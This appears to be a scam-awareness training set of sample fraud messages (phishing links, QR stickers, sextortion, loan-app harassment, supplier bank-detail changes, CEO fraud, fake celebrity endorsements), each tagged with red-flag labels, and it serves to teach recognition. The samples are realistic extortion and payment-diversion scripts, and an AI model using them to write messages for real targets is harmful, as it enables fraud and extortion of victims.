Hi Taylor, the holiday cabin is available for your dates (Dec 22–29). Total $1,640. To confirm, please pay by bank transfer to avoid platform fees. I'll send the door code the day before arrival.

• Asks to pay outside the booking platform
• Asks for a transfer to a personal or unfamiliar account
• You cannot see or check the item or property in person

Subject: Your [Streaming Service] membership is on hold

We're having trouble with your current billing information. We'll try again, but in the meantime you may want to update your payment details.
UPDATE ACCOUNT: hxxps://streaming-billing-update[.]example
Need help? We're here if you need it.

• Link does not belong to the organisation named
• Asks for card details, PIN or password
• Copies a real company's tone and layout

[Streaming Service]: Your payment was declined. Your account will be suspended in 24 hours. Update your details: hxxps://stream-account-uk[.]example

• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Threatens arrest, fines or account closure

Subject: Receipt for your order – [Software Company] Premium Support

Your 3-year Premium Support plan has been renewed.
Total charged: $549.99 CAD
If you wish to cancel and receive a full refund, call +1 416-555-0172 within 48 hours.

• Gives its own callback number instead of the official one
• Fake invoice to make you call
• Creates urgency with a short deadline

Subject: Your [Cloud Storage] plan expires today

Your photos and files will be permanently deleted unless you renew. As a loyal customer you qualify for a 90% discount: 50GB for $1.99.
Renew now: hxxps://cloud-renew-au[.]example

• Threatens arrest, fines or account closure
• Offer is too good to be true
• Link does not belong to the organisation named

Dear Customer, your [Streaming Service] subscription has expired. Renew within 24 hours to continue watching. Special offer: 12 months at Rs 99. hxxps://renew-offer-in[.]example

• Offer is too good to be true
• Creates urgency with a short deadline
• Link does not belong to the organisation named

[Streaming Service]: Your monthly debit order of R199 failed. Update your banking details to avoid service interruption: hxxps://za-stream-billing[.]example

• Link does not belong to the organisation named
• Asks for card details, PIN or password
• Threatens arrest, fines or account closure

Subject: Your [Online Store] membership renewal – $139.00

Your membership will auto-renew today. If you did not authorise this, cancel now to avoid being charged: hxxps://member-cancel-help[.]example

• The cancel link is the trap
• Link does not belong to the organisation named
• Creates urgency with a short deadline

Asunto: Su suscripción ha sido suspendida

No hemos podido procesar el pago de su suscripción mensual. Actualice sus datos de pago en un plazo de 48 horas para evitar la cancelación: hxxps://suscripcion-pago[.]example

English: Subject: Your subscription has been suspended. We could not process the payment for your monthly subscription. Update your payment details within 48 hours to avoid cancellation: hxxps://suscripcion-pago[.]example

• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Asks for card details, PIN or password

[Streaming Service]: Your account has been temporarily locked due to a billing error. Re-activate here: hxxps://sg-stream-reactivate[.]example

• Link does not belong to the organisation named
• Threatens arrest, fines or account closure

Subject: Your [TV Licensing Body] payment failed

We were unable to collect your Direct Debit. To avoid prosecution and a fine of up to £1,000, please update your payment details today.
Update: hxxps://tv-licence-renew[.]example

• Threatens arrest, fines or account closure
• Uses authority (police, court, tax office) to frighten you
• Link does not belong to the organisation named
• Creates urgency with a short deadline

Subject: Your [Password Manager] vault will be locked

Your subscription payment failed. Without an active plan, access to your saved passwords will be restricted in 2 days. Restore access: hxxps://vault-restore[.]example

• Threatens arrest, fines or account closure
• Link does not belong to the organisation named
• Targets your most sensitive account

[Sticker on parking meter]
PAY FOR PARKING BY PHONE
Scan the QR code to pay quickly – no app needed!
[QR code → hxxps://quick-park-pay[.]example]
City Parking Services

• QR code leads to a payment or login page
• Sticker placed over the real payment code
• Link does not belong to the organisation named

Subject: Action required: Multi-factor authentication update

Your mailbox password expires today. Scan the QR code below with your phone camera to keep your current password.
[QR code → hxxps://mfa-renew-portal[.]example]
IT Service Desk

• QR code leads to a payment or login page
• QR in email avoids link scanners
• Creates urgency with a short deadline
• IT desks do not ask you to scan codes to keep passwords

[Flyer under windscreen wiper]
PARKING INFRINGEMENT NOTICE
You have been issued a $85 fine. Scan to pay now and receive a 50% early payment discount.
[QR code → hxxps://parking-fine-au[.]example]

• QR code leads to a payment or login page
• Threatens arrest, fines or account closure
• Discount for paying fast

[Card inside an unexpected package]
Thank you for your order! Scan the QR code to see who sent you this gift and leave a review.
[QR code → hxxps://gift-sender-reveal[.]example]

• Brushing: parcels you never ordered
• QR code leads to a payment or login page
• Curiosity hook

Subject: You received a package you didn't order?

Our records show an item was delivered to your address in error. To arrange free return pickup and receive a $25 thank-you credit, confirm your details: hxxps://return-pickup-ca[.]example

• Brushing follow-up asking for your details
• Link does not belong to the organisation named
• Offer is too good to be true

[Message from 'buyer' on a classifieds site]
Sir I will pay Rs 4,500 for the table. Scan this QR to receive the money and enter your UPI PIN to accept.
[QR code]

• QR code leads to a payment or login page
• You never enter a PIN to receive money
• Asks for card details, PIN or password

[Sticker on hawker centre table]
Scan to order and pay – 10% off your first order!
[QR code → hxxps://table-order-sg[.]example]

• QR code leads to a payment or login page
• Sticker placed over the real code
• Discount lure

[Poster at a petrol station]
WIN R5,000 FUEL VOUCHERS! Scan the QR code and enter your details for a chance to win.
[QR code → hxxps://fuel-voucher-win[.]example]

• QR code leads to a payment or login page
• Offer is too good to be true
• Collects personal details

[Sticker on EV charging station]
Pay with card – Scan here
[QR code → hxxps://ev-charge-pay[.]example]

• QR code leads to a payment or login page
• Sticker placed over the real code
• Link does not belong to the organisation named

[Letter received in the post]
Your parcel delivery failed. Scan the QR code to rebook and pay a £1.99 redelivery fee.
[QR code → hxxps://post-rebook[.]example]

• QR code leads to a payment or login page
• Asks for a small fee before you can receive something
• Asks for a small amount so it feels harmless

Subject: I know your password: ********

I have access to your device. I recorded you through your webcam while you were browsing private websites. I also copied your contacts.
Send $1,450 in cryptocurrency to [wallet address] within 48 hours or I will send the video to everyone you know.
Don't reply, this address is temporary.

• Asks for payment in cryptocurrency
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Uses an old leaked password to seem real
• Usually a bluff sent to millions

You sent me those photos. I have your follower list and your school. If you don't pay $500 in the next hour I'm sending them to everyone. Don't think about blocking me.

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Targets young people
• Tell a trusted adult and report it; you are not in trouble

I've made a video of our call. Pay £300 or I post it to your family and your work page. You have 30 mins. If you tell anyone it goes out straight away.

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Asks you to keep it secret
• Paying usually leads to more demands

Subject: Your device has been hacked

Hello. I installed malware on your device and recorded private moments through your camera. Transfer Rs 50,000 to the crypto wallet below in 2 days or I will share the recording with your family on chat apps.
[wallet address]

• Asks for payment in cryptocurrency
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Generic message sent to many people

Nasa akin ang video mo. Magbayad ka ng ₱20,000 o ipapakita ko sa pamilya at mga kaibigan mo. May 1 oras ka lang.

English: I have your video. Pay ₱20,000 or I will show it to your family and friends. You only have 1 hour.

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline

I have screenshots of our chat and your pictures. Send ₦200,000 or I will tag your church and family members. Don't block me or I post immediately.

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Threatens to involve community

Subject: Your security is compromised

I have been watching you for months through a virus on your computer. I have a recording of you that you would not want your colleagues to see. Pay €800 in crypto within 72 hours. Address: [wallet address]

• Asks for payment in cryptocurrency
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Generic bluff

Hey, remember me from the dating app? I've got the video from our chat. Pay $600 AUD in gift cards in the next 2 hrs or it goes to your social media friends list.

• Asks for payment in gift cards
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline

I see you read my message. Time is running out. Pay now and I delete everything. Last chance.

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Paying does not guarantee deletion

Subject: Security notice – case 2026-114

Your browsing activity has been recorded. To prevent the release of the recording to your contacts, payment of $1,200 CAD in cryptocurrency is required. [wallet address]

• Asks for payment in cryptocurrency
• Threatens arrest, fines or account closure
• Official-sounding wording to scare

Pay R5,000 now or I send the video call recording to your wife and your boss. I have all your contacts. 20 minutes.

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline

Instant loan up to Rs 50,000 in 5 minutes! No credit score check, no documents. Download app now: hxxps://instant-loan-app[.]example

• Offer is too good to be true
• App not in official app stores
• No credit checks
• Link does not belong to the organisation named

You took Rs 3,000 loan. Repay Rs 6,500 today or we will send your morphed photos to all your contacts and post that you are a fraud.

• Threatens arrest, fines or account closure
• Huge hidden charges
• App copied your contacts
• Report to police; harassment is illegal

Approved! Loan up to ₱30,000. Walang collateral. Download na: hxxps://ph-quickloan[.]example

• Offer is too good to be true
• Link does not belong to the organisation named
• No credit checks

Caller: This is the legal department at National Recovery Services calling about an outstanding payday loan from 2022. A lawsuit will be filed in your county tomorrow and you may be arrested at work. To settle today for $780, I can take a debit card payment now.

• Uses authority (police, court, tax office) to frighten you
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Real debt collectors must send written notice

Subject: Your loan of £5,000 has been approved

Congratulations! Your application has been approved despite your credit history. To release the funds, an insurance fee of £149 is required. Pay today to receive the money within 1 hour.

• Asks for a small fee before you can receive something
• Asks for an upfront deposit
• Loan approved without applying

Dear customer, you have failed to repay your loan. We have started sending messages to your contacts and employer. Pay ₦45,000 now to stop.

• Threatens arrest, fines or account closure
• App harasses your contacts

Blacklisted? No problem! Get R10,000 loan today. Pay R450 admin fee and receive cash in 30 min. [Messaging App] +27 60 000 0000

• Asks for a small fee before you can receive something
• Asks for an upfront deposit
• Offer is too good to be true

Subject: Debt relief programme – reduce your debt by 70%

Under the new federal debt forgiveness initiative, you may qualify to have up to 70% of your credit card debt erased. Spaces are limited. Pay the $399 enrolment fee to begin.

• Asks for a small fee before you can receive something
• Fake government programme
• Offer is too good to be true

Pinjaman cepat tanpa jaminan hingga Rp 10.000.000! Cair dalam 10 menit. Cukup bayar biaya admin Rp 300.000.

English: Fast loan without collateral up to Rp10,000,000! Disbursed in 10 minutes. Just pay an admin fee of Rp300,000.

• Asks for a small fee before you can receive something
• Asks for an upfront deposit
• Offer is too good to be true

Khoản vay của bạn đã quá hạn. Nếu không thanh toán 5 triệu đồng hôm nay, chúng tôi sẽ gửi thông tin cho người thân của bạn.

English: Your loan is overdue. If you do not pay 5 million dong today, we will send your information to your relatives.

• Threatens arrest, fines or account closure
• Harasses your contacts

Caller: Hi, this is the disconnection department at [Power Company]. Our records show your account is past due by $412.66, and a technician is scheduled to shut off your power within the hour. To stop the disconnection, you can pay now with a prepaid card or a payment app. Do you want me to hold the truck?

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Asks for payment in gift cards
• Utilities send written notices first

[Energy Supplier]: You are owed a refund of £173.50 from overpayment on your account. Claim it here: hxxps://energy-refund-uk[.]example

• Offer is too good to be true
• Link does not belong to the organisation named
• Contact you did not ask for

Dear Consumer, your electricity power will be disconnected tonight at 9:30 PM because your previous month bill was not updated. Please immediately contact our electricity officer 90000 00000. Thank you.

• Threatens arrest, fines or account closure
• Gives its own callback number instead of the official one
• Creates urgency with a short deadline
• Spelling and grammar mistakes

This is [Hydro Utility] with an urgent message. Your service is scheduled for disconnection today due to a missed payment. Call our collections line at 416-555-0144 immediately to avoid interruption.

• Gives its own callback number instead of the official one
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline

[Municipality]: Your electricity will be cut off on 28/10 due to arrears of R2,340. Pay immediately to avoid reconnection fee of R1,500: hxxps://muni-pay-za[.]example

• Threatens arrest, fines or account closure
• Link does not belong to the organisation named
• Creates urgency with a short deadline

[Energy Retailer]: Government energy rebate of $300 available for your household. Claim before 31 Oct: hxxps://energy-rebate-au[.]example

• Offer is too good to be true
• Link does not belong to the organisation named
• Creates urgency with a short deadline

[Electricity Distribution Company]: Your prepaid meter will be disconnected for tampering. Pay ₦35,000 penalty to the account below to avoid disconnection and prosecution.

• Threatens arrest, fines or account closure
• Uses authority (police, court, tax office) to frighten you
• Asks for a transfer to a personal or unfamiliar account

[Power Company] Ghana: Your prepaid meter has been flagged. Recharge GH₵ 200 using this mobile money number to avoid disconnection today.

• Threatens arrest, fines or account closure
• Asks for a transfer to a personal or unfamiliar account
• Creates urgency with a short deadline

Objet : Votre facture d'électricité – remboursement disponible

Suite à une erreur de facturation, vous avez droit à un remboursement de 94,20 €. Confirmez vos coordonnées bancaires : hxxps://energie-remboursement[.]example

English: Subject: Your electricity bill – refund available. Following a billing error, you are entitled to a refund of €94.20. Confirm your bank details: hxxps://energie-remboursement[.]example

• Offer is too good to be true
• Link does not belong to the organisation named
• Asks for card details, PIN or password

Subject: Your latest bill is ready – Amount due: $286.19

Your [Power Company] statement for October is now available. Your account is past due and service may be interrupted. View and pay: hxxps://utility-billpay[.]example

• Link does not belong to the organisation named
• Threatens arrest, fines or account closure
• Looks like a routine bill

[Social Network] Copyright Team
Your account has been reported for violating our copyright policy. If you believe this is a mistake, submit an appeal within 24 hours or your page will be permanently disabled.
Appeal: hxxps://page-appeal-center[.]example

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Link does not belong to the organisation named
• Official teams do not contact you by direct message

Subject: Your account is eligible for the blue verification badge

Congratulations! Based on your activity, your account qualifies for verification. Complete the form with your login details within 48 hours to claim your badge: hxxps://badge-verify-form[.]example

• Asks for card details, PIN or password
• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Badges are never awarded by email

Hi, I'm from the [Social Network] Partner Support team. Your page has been selected for monetisation but we noticed a policy issue. Please confirm your login and 2FA code here to keep your eligibility.

• Asks you to share a one-time verification code
• Asks for card details, PIN or password
• Contact you did not ask for

Your page will be deleted due to multiple reports of copyright infringement. Verify your page within 12 hours to avoid deletion: hxxps://page-security-check[.]example

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Link does not belong to the organisation named

Congratulations! Your channel has been selected for the Creator Fund. Fill this form with your email and password to receive Rs 50,000 monthly.

• Offer is too good to be true
• Asks for card details, PIN or password

Subject: Copyright infringement notice – Content removal

Dear creator,
We represent a music label and have identified unlicensed use of our track in your recent video. Please review the attached evidence (Evidence_Video.zip) and respond within 3 days to avoid a strike.

• Attachment may contain malware
• Threatens arrest, fines or account closure
• Creates urgency with a short deadline

Hello! Your page is eligible for blue badge. Pay ₱2,000 verification fee to our agent to activate.

• Asks for a small fee before you can receive something
• Badges are only sold through official app settings

Subject: Brand collaboration offer – €3,500

Hi! We love your content and want to offer a paid partnership. Please download our campaign brief (Campaign_Brief_2026.exe) and confirm your rates.

• Attachment is a program, not a document
• Offer is too good to be true
• Contact you did not ask for

[Social Network] Support: We detected suspicious activity on your account. Confirm your identity by entering your login details here: hxxps://account-security-za[.]example

• Asks for card details, PIN or password
• Link does not belong to the organisation named
• Threatens arrest, fines or account closure

تم الإبلاغ عن حسابك بسبب انتهاك حقوق النشر. قدّم طعناً خلال 24 ساعة وإلا سيتم حذف حسابك: hxxps://appeal-account[.]example

English: Your account has been reported for copyright infringement. Submit an appeal within 24 hours or your account will be deleted: hxxps://appeal-account[.]example

• Threatens arrest, fines or account closure
• Creates urgency with a short deadline
• Link does not belong to the organisation named

yo bro i accidentally reported you for scamming 😬 my mistake. contact the admin on the chat server so they don't ban you, his name is [Admin]_support

• The "admin" is part of the scam
• Threatens arrest, fines or account closure
• Asks you to move the conversation off the platform

Free skins giveaway! Log in with your game account to claim 3 rare knife skins: hxxps://skins-drop-free[.]example. Ends in 10 min!

• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Fake login page steals your account

Hey! We're testing a new indie game and paying beta testers $20/hr. Can you download our launcher and log in with your gaming account? hxxps://beta-launcher[.]example

• Link does not belong to the organisation named
• Asks for card details, PIN or password
• Contact you did not ask for
• Launcher may contain malware

Want free in-game currency? Just enter your username and password on this generator: hxxps://free-coins-gen[.]example

• Asks for card details, PIN or password
• Offer is too good to be true
• Link does not belong to the organisation named

mate i'll trade you my rare skin for yours, but use the middleman bot, he's verified 👍 add [MM]_trade_bot

• Fake middleman
• Asks you to move the conversation off the platform
• Trade you cannot undo

Hey, I'm a streamer with 200k followers. I'm doing a collab giveaway. To enter, log into our tournament site with your game account: hxxps://tournament-entry[.]example

• Link does not belong to the organisation named
• Asks for card details, PIN or password
• Impersonates a streamer

Bro free UC/diamonds generator working 100%. Just login with game ID and pay Rs 49 activation.

• Asks for a small fee before you can receive something
• Offer is too good to be true
• Asks for card details, PIN or password

you need to verify your inventory before trade, send me screenshot of your api key page lol

• API key lets them hijack your trades
• Asks for card details, PIN or password

Subject: Visa compliance issue – immediate action required

Dear Student,
The [Immigration Office] has identified an error in your visa application. You must pay a compliance fee of £1,800 today, or your visa will be revoked and you will be deported.
Pay here: hxxps://visa-compliance-uk[.]example

• Threatens arrest, fines or account closure
• Uses authority (police, court, tax office) to frighten you
• Creates urgency with a short deadline
• Government does not demand payment by email

Caller: This is Officer Lee from [Immigration Office]. Your study permit has a problem and there is a warrant for your arrest. Do not tell your school. You must pay $2,500 to clear it now, or you will be deported.

• Uses authority (police, court, tax office) to frighten you
• Threatens arrest, fines or account closure
• Asks you to keep it secret
• Targets international students

Subject: Your scholarship has been approved

Congratulations! You have been awarded a $15,000 international student scholarship. To release the funds, please pay a $250 processing fee within 5 days.

• Asks for a small fee before you can receive something
• Offer is too good to be true
• You did not apply

Guaranteed admission to Canadian college with study visa. Pay Rs 2,50,000 processing fee. 100% visa success. Few seats left.

• Promises guaranteed returns
• Asks for a small fee before you can receive something
• Creates urgency with a short deadline

UK study visa with no English test needed! Pay ₦1.5m processing and get your CAS in 2 weeks. Contact agent now.

• Offer is too good to be true
• Asks for a small fee before you can receive something
• Skips required checks

Subject: Federal student loan forgiveness – final notice

You may be eligible for full student loan cancellation under the new programme. Your application expires in 48 hours. Pay the $299 document preparation fee to secure your place.

• Asks for a small fee before you can receive something
• Creates urgency with a short deadline
• Government forgiveness is free to apply for

Dear Applicant,
You have been offered a full scholarship to study in Germany. Accommodation and flights included. Pay GH₵ 3,500 for document verification to confirm.

• Asks for a small fee before you can receive something
• Offer is too good to be true
• Greets you generically instead of by name

Study and work in Australia! Guaranteed visa. Placement fee ₱150,000 only. Message us for slots.

• Promises guaranteed returns
• Asks for a small fee before you can receive something
• Offer is too good to be true

Caller: This is the [Immigration Office]. Your student visa status has a discrepancy. To avoid deportation you must pay a $1,800 fine in gift cards immediately. Don't hang up or contact your university.

• Asks for payment in gift cards
• Threatens arrest, fines or account closure
• Uses authority (police, court, tax office) to frighten you
• Asks you to keep it secret

Subject: Accommodation guarantee for international students

Secure your student room in Amsterdam before arrival! Pay a €1,200 guarantee deposit now. Rooms are limited.

• Asks for an upfront deposit
• You cannot see or check the item or property in person
• Creates urgency with a short deadline

Hey! Saw you're looking for tickets to the stadium tour. I have 2 floor seats, can't go anymore 😭 $280 each. I can transfer them right after payment via the payment app (friends & family please, no fees).

• Asks for "friends and family" payments with no buyer protection
• Asks you to pay before you receive anything
• You cannot see or check the item or property in person

2 tickets for the Saturday gig, £95 each (face value). I can send them as PDF straight away once you bank transfer. Proof of purchase attached.

• PDF tickets can be copied or faked
• Asks for a transfer to a personal or unfamiliar account
• Asks you to pay before you receive anything

Selling 2 festival passes, $350 each. Need it gone today. I'll email the tickets once paid.

• Creates urgency with a short deadline
• Asks you to pay before you receive anything
• You cannot see or check the item or property in person

Cricket final tickets available! Rs 8,000 each, pay via UPI and get e-ticket in 10 min.

• Asks you to pay before you receive anything
• Offer is too good to be true
• You cannot see or check the item or property in person

Sold out concert tickets available R1,200 each. Pay via EFT and I'll email the tickets.

• Asks you to pay before you receive anything
• You cannot see or check the item or property in person

[Ticket Resale Site] – SOLD OUT shows available
Guaranteed entry or your money back*
Pay by bank transfer for 10% off.
*refunds handled by our partners

• Asks for bank transfer instead of card
• Refund promises you cannot enforce

I have 3 other people interested, so I need payment within the hour to hold your 2 tickets. E-transfer is fine.

• Creates urgency with a short deadline
• Asks you to pay before you receive anything
• Pressure from "other interested people"

2 concert tickets cat 1, S$450 each. Transfer via app after payment.

• Asks you to pay before you receive anything
• You cannot see or check the item or property in person

Afrobeats concert VIP tickets ₦150,000 each. Pay first, I'll send ticket.

• Asks you to pay before you receive anything
• You cannot see or check the item or property in person

European club final tickets – 2 seats together, €900 each. Bank transfer only. Tickets transferred 48h before the match.

• Asks for a transfer to a personal or unfamiliar account
• Tickets sent too late to dispute
• You cannot see or check the item or property in person

BREAKING: [Famous TV Presenter] reveals the 'loophole' that made him £3 million in 2026. Banks are furious. Read the full interview before it's taken down: hxxps://news-exclusive-report[.]example

• Fake news article layout
• Creates urgency with a short deadline
• Celebrities do not endorse trading schemes in ads

[Famous Entrepreneur] on live TV: 'This AI platform turns $250 into $8,000 a month.' Join 12,000 Americans already earning. Limited spots: hxxps://ai-wealth-platform[.]example

• Promises guaranteed returns
• Offer is too good to be true
• Deepfake video or fake quote
• Creates urgency with a short deadline

Exclusive: [Famous Actor] shocks morning show hosts with new keto gummies that melt belly fat. Get your free trial today, just pay $4.95 shipping.

• Fake free trial with hidden subscription
• Fake endorsement
• Asks for a small amount so it feels harmless

[Famous Cricketer] invests in this new crypto app! Earn Rs 50,000 daily. Download now before government bans it.

• Offer is too good to be true
• Fake endorsement
• Creates urgency with a short deadline

[Famous Businessman] backs new investment scheme for South Africans: invest R4,500 and earn R65,000 a month. Watch the video!

• Promises guaranteed returns
• Offer is too good to be true
• Fake endorsement

[Famous Musician] is giving away ₦5 million to 100 fans! Click to register and pay ₦2,000 verification fee.

• Asks for a small fee before you can receive something
• Offer is too good to be true
• Fake endorsement

[Famous Hockey Star] reveals his secret to financial freedom. Canadians are making $1,200/day with this method. Find out how: hxxps://ca-secret-method[.]example

• Offer is too good to be true
• Fake endorsement
• Link does not belong to the organisation named

[Famous TV Host] presents a new investment platform – starting capital €250, daily profit up to €1,000.

• Promises guaranteed returns
• Offer is too good to be true
• Fake endorsement

[Apresentadora Famosa] revela segredo para ganhar R$ 5 mil por dia com robô de investimentos. Assista antes que saia do ar!

English: [Famous TV Presenter] reveals the secret to earning R$5,000 a day with an investment robot. Watch before it's taken down!

• Promises guaranteed returns
• Fake endorsement
• Creates urgency with a short deadline

[Famoso Empresario] comparte su método para ganar $30,000 MXN al día. ¡Regístrate ahora!

English: [Famous Businessman] shares his method to earn MX$30,000 a day. Register now!

• Promises guaranteed returns
• Fake endorsement
• Offer is too good to be true

[Famous Public Figure] endorses AI trading bot. Singaporeans earn S$5,000 weekly. Register before slots close.

• Fake endorsement
• Promises guaranteed returns
• Creates urgency with a short deadline

[Sikat na Aktres] nagbigay ng sikreto: kumita ng ₱20,000 araw-araw! Mag-register na ngayon.

English: [Famous Actress] shares her secret: earn ₱20,000 every day! Register now.

• Fake endorsement
• Promises guaranteed returns

[Famous Tech Billionaire] LIVE: Send 0.1 crypto to [wallet address] and receive 0.2 back! Event ends in 30 minutes.

• Asks for payment in cryptocurrency
• Offer is too good to be true
• Creates urgency with a short deadline
• Fake livestream giveaway

[Mwanamuziki Maarufu] anatoa KSh 100,000 kwa mashabiki! Bonyeza kujisajili.

English: [Famous Musician] is giving KSh 100,000 to fans! Click to register.

• Fake endorsement
• Offer is too good to be true
• Link does not belong to the organisation named

[Nhà đầu tư nổi tiếng] tiết lộ cách kiếm 10 triệu đồng mỗi ngày với nền tảng AI mới. Đăng ký ngay!

English: [Famous Investor] reveals how to earn 10 million dong a day with a new AI platform. Register now!

• Fake endorsement
• Promises guaranteed returns

Hi Kevin, are we still on for golf at 10 on Saturday?

• Starts as a "wrong number" message from a stranger
• Contact you did not ask for
• Friendly message from a stranger

Oh I'm so sorry, wrong number! My assistant must have saved it wrong. You seem really polite though 😊 I'm Lily, I run a small boutique in San Francisco. Where are you based?

• Starts as a "wrong number" message from a stranger
• Tries to keep chatting
• Shares attractive lifestyle details

My uncle is an analyst and taught me gold contract trading. I made $28k this month. I can show you, just open an account on this platform and start with $1,000: hxxps://gold-contracts-pro[.]example

• Promises guaranteed returns
• Link does not belong to the organisation named
• Investment pitch after weeks of friendship

Hello, is this Dr. Chen's clinic? I'd like to book a cleaning for next Tuesday.

• Starts as a "wrong number" message from a stranger
• Contact you did not ask for

Sorry for the mistake! It's lovely to chat. I'm Anna, I work in finance in Hong Kong. Do you enjoy travelling? Here's a photo from my weekend in Bali.

• Starts as a "wrong number" message from a stranger
• Photos of a glamorous lifestyle
• Builds a friendship over weeks

I was going to ask you to dinner when I visit London, but first I want to share my secret: a crypto quant tool. You'd be silly not to try it with £500.

• Promises guaranteed returns
• Romance and investment combined
• Always has a reason not to meet or video call

Hi, I'm here at the airport, where are you?

• Starts as a "wrong number" message from a stranger
• Contact you did not ask for

Hey Jess, your yoga class has moved to 6pm tomorrow 🧘

• Starts as a "wrong number" message from a stranger
• Contact you did not ask for

Hello Mr Tan, this is your property agent. The viewing on Sunday is confirmed.

• Starts as a "wrong number" message from a stranger
• Contact you did not ask for

Hello Priya, is the dinner at your place still on for tonight?

• Starts as a "wrong number" message from a stranger
• Contact you did not ask for

Hi Thandi, it's Claire. Are we still meeting at the coffee shop at 11?

• Starts as a "wrong number" message from a stranger
• Contact you did not ask for

Subject: Updated banking details – Invoice #INV-20391

Hi Jennifer,
Please note our bank has changed due to an internal audit. Kindly use the details below for invoice #INV-20391 ($48,200) and all future payments. We'd appreciate payment by end of day as our old account will be closed.
Best regards,
Michael Ross
Accounts Receivable, [Supplier]

• Asks to change the bank details for a payment
• Creates urgency with a short deadline
• Email address may differ by one letter
• Always confirm by calling a known number

Subject: Urgent wire

Are you at your desk? I need you to process an urgent payment to a new supplier today. I'm in meetings all afternoon so email only. Will send details shortly.
Sent from my phone

• Impersonates a senior manager
• Creates urgency with a short deadline
• Asks you to keep it secret
• Avoids phone contact

Subject: Settlement funds – revised account

Hi Sam and Ellie,
Just a quick note before settlement on Friday. Our trust account details have been updated – please transfer the deposit balance of $86,400 to the account below.
Kind regards,
[Conveyancer]

• Asks to change the bank details for a payment
• Targets house buyers at settlement
• Creates urgency with a short deadline

Subject: Revised bank details for payment

Dear Accounts Team,
Due to a tax audit, we have changed our bank account. Please process the pending payment of Rs 14,60,000 to the new account below. Kindly confirm once done.
Regards,
[Supplier]

• Asks to change the bank details for a payment
• Creates urgency with a short deadline

Subject: Change of banking details

Good day,
Please be advised that our banking details have changed effective immediately. Attached is the confirmation letter on our letterhead. Please update your records before the next payment run.
Kind regards,
Finance Department, [Supplier]

• Asks to change the bank details for a payment
• Attached letters can be forged
• Call your contact on a known number

Objet : Virement urgent et confidentiel

Bonjour,
Je suis en réunion avec nos avocats concernant une acquisition confidentielle. J'ai besoin que vous effectuiez un virement de 185 000 € aujourd'hui. Ne parlez de ce dossier à personne.
Cordialement,
[Directeur Général]

English: Subject: Urgent and confidential transfer. Hello, I am in a meeting with our lawyers about a confidential acquisition. I need you to make a transfer of €185,000 today. Do not speak about this matter to anyone. Regards, [Chief Executive]

• Asks you to keep it secret
• Creates urgency with a short deadline
• Impersonates a senior manager

Subject: Payment reminder – overdue invoice

Dear Sir/Madam,
Our records show invoice #SG-4471 (S$27,350) remains unpaid. Please note our new bank details due to a change in banking partner. Kindly arrange payment within 2 days.

• Asks to change the bank details for a payment
• Creates urgency with a short deadline
• Greets you generically instead of by name

Subject: Gift cards for staff appreciation

Hi Sarah,
I'd like to surprise the team with gift cards. Can you pick up 10 x $100 cards today and send me the codes? Please keep it a surprise.
Thanks,
[CEO Name]

• Asks for payment in gift cards
• Asks you to keep it secret
• Impersonates a senior manager

Subject: Updated account details

Dear Partner,
Kindly note our account has been changed to the one below due to a system upgrade. Please make the payment of ₦12,500,000 for the last shipment to the new account.

• Asks to change the bank details for a payment
• Greets you generically instead of by name

Prezados, informamos que nossos dados bancários foram alterados. Favor realizar o pagamento da fatura nº 8821 (R$ 46.300,00) na nova conta abaixo. Atenciosamente, [Fornecedor]

English: Dear all, we inform you that our bank details have changed. Please make the payment of invoice no. 8821 (R$46,300.00) to the new account below. Regards, [Supplier]

• Asks to change the bank details for a payment
• Creates urgency with a short deadline

Subject: Payroll update

Hi HR,
I recently changed banks and would like my salary deposited into my new account from this month. Can you please let me know what details you need?
Thanks,
[Employee Name]

• Payroll diversion: impersonates an employee
• Asks to change the bank details for a payment
• Confirm in person

Subject: Invoice for consultancy services

Dear Finance,
Attached is our invoice for October (KSh 2,340,000). Please note our bank details have changed. Kindly expedite payment.

• Asks to change the bank details for a payment
• Creates urgency with a short deadline

Subject: Closing wire instructions – 418 Oak Lane

Hi Chris and Dana,
Congratulations, we're almost at closing! Please wire your closing funds of $96,500 using the attached instructions by 2pm tomorrow. Call me if you have any questions at 202-555-0156.
[Title Company]

• Asks to change the bank details for a payment
• Gives its own callback number instead of the official one
• Real estate wire fraud at closing
• Creates urgency with a short deadline

Estimado proveedor, por actualización de nuestro sistema, le solicitamos realizar el pago de la factura 3302 a la nueva cuenta. Agradecemos su pronta respuesta.

English: Dear supplier, due to an update of our system, we ask you to make the payment of invoice 3302 to the new account. We appreciate your prompt response.

• Asks to change the bank details for a payment
• Creates urgency with a short deadline

[Bank] PH: Your account has been temporarily locked due to multiple failed login attempts. Verify within 12 hours: hxxps://ph-bank-verify[.]example

• Link does not belong to the organisation named
• Creates urgency with a short deadline
• Threatens arrest, fines or account closure

[कूरियर]: आपका पार्सल गलत पते के कारण रुका हुआ है। 24 घंटे में पता अपडेट करें: hxxps://parcel-pata-update[.]example

English: [Courier]: Your parcel is on hold due to an incorrect address. Update the address within 24 hours: hxxps://parcel-pata-update[.]example

• Link does not belong to the organisation named
• Creates urgency with a short deadline

आयकर विभाग: आपका रिफंड ₹12,840 स्वीकृत हो गया है। अपना बैंक खाता सत्यापित करें: hxxps://refund-satyapan[.]example

English: Income Tax Department: Your refund of ₹12,840 has been approved. Verify your bank account: hxxps://refund-satyapan[.]example

• Offer is too good to be true
• Link does not belong to the organisation named
• Asks for card details, PIN or password

घर बैठे कमाएं ₹5,000 रोज़! सिर्फ़ वीडियो लाइक करें। अभी जुड़ें: +91 90000 00000

English: Earn ₹5,000 a day from home! Just like videos. Join now: +91 90000 00000

• Offer is too good to be true
• Contact you did not ask for
